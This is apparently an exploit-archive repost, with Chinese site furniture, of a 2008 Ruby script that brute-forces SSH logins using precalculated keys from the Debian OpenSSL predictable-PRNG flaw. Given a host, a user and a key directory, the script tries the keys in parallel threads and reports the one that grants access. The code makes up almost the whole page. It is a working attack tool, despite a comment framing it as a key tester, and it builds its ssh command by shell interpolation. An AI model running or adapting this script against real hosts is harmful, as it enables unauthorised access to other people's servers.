Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (ruby)
|
来源:l4teral [at] gmail com 作者:L4teral 发布时间:2008-05-16
|
|
#!/usr/bin/ruby # # Debian SSH Key Tester # L4teral <l4teral [at] gmail com> # # This tool helps to find user accounts with weak SSH keys # that should be regenerated with an unaffected version # of openssl. # # You will need the precalculated keys provided by HD Moore # See http://metasploit.com/users/hdm/tools/debian-openssl/ # for further information. # # Usage: # debian_openssh_key_test.rb <host> <user> <keydir> #
require 'thread'
THREADCOUNT = 10 KEYSPERCONNECT = 3
queue = Queue.new threads = [] keyfiles = []
host = ARGV.shift or raise "no host given!" user = ARGV.shift or raise "no user given!" keysdir = ARGV.shift or raise "no key dir given!"
Dir.new(keysdir).each do |f| if f =~ /\d+$/ then keyfiles << f queue << f end end
totalkeys = queue.length currentkey = 1
THREADCOUNT.times do |i| threads << Thread.new(i) do |j| while !queue.empty? keys = [] KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? } keys.map! { |f| f = File.join(keysdir, f) } keys.each do |k| puts "testing key #{currentkey}/#{totalkeys} #{k}..." currentkey += 1 end system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null" if $? == 0 then keys.each do |k| system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null" if $? == 0 then puts "KEYFILE FOUND: \n#{k}" exit end end end end end end
trap("SIGINT") do threads.each { |t| t.exit() } exit end
threads.each { |t| t.join }
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|